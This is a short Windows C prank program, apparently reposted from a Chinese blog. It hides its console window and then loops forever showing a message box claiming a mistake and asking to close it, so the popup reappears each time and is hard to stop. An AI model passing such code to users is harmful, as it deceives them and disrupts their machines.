#include <windows.h>
#pragma comment (lib, "User32.lib")
void HideWindow() {
	HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd) ShowWindow(hwnd,SW_HIDE);
	return;
}
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
	HideWindow();
    while(1){
	    MessageBox(NULL, TEXT("Sorry!It is mistake!Plases close it!"), TEXT("消息对话框"), MB_OK);//建立对话框
	}
    return 0;
}
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原文链接：https://blog.csdn.net/dacongming123355/article/details/125275833